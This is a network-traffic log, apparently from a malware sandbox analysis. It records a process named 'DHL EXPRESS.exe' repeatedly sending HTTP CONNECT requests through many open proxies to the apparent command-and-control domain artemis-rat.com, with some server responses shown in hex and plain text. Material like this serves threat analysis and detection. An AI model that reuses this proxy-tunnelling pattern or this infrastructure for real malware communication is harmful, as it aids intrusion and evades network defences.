Mar 11, 2024 18:36:50.836487055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.172257900 CET	129	IN	HTTP/1.1 301 Moved Permanently Location: https://artemis-rat.com:443 Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.8	53770	138.2.73.157	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.837354898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.8	53779	177.67.136.241	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.837750912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.8	52994	213.250.198.66	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.837872028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.8	52064	162.240.22.184	43494	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.837992907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967242002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097513914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206665039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.206599951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.206295967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.209105015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.8	53780	119.3.215.41	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.841001987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.8	51978	69.167.169.46	12903	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.864850998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967274904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097495079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206671000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.206597090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.206306934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.209101915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:03.206321955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:51.206336975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.8	53013	103.173.139.222	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.867867947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.227591038 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.8	52977	103.127.220.98	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.875204086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956568003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.944803953 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.8	51950	107.180.88.173	44568	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.880228043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967276096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097496033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206666946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.208230972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.8	53803	192.162.232.15	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.882704973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.8	53805	47.56.110.204	8989	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.885520935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.8	53804	185.49.30.5	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.886271000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.8	51653	72.195.34.41	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.887398958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.8	53769	211.93.2.190	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.892088890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.8	53806	80.78.64.70	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.892139912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.8	52086	213.136.79.177	35358	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.893495083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956566095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.957180023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.956675053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.8	51956	212.118.43.143	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.897918940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.203905106 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.8	51946	161.97.147.193	12762	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.903979063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967386961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097515106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206665993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.208239079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.8	53101	54.38.181.125	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.921436071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967406988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097513914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.047288895 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:06 GMT Server: Apache/2.4.48 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.48 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.8	53096	120.26.68.107	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.927367926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.247093916 CET	442	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 17:36:51 GMT Server: Apache Allow: OPTIONS,GET,HEAD,POST Vary: Accept-Encoding Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 65 20 55 52 4c 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for the URL /index.html.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.8	53807	123.126.158.50	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.938740015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.8	53105	217.21.148.50	33192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.959481955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.8	53126	45.173.12.141	1994	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.963056087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.967474937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097513914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206718922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.537194967 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.8	53106	138.36.150.16	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
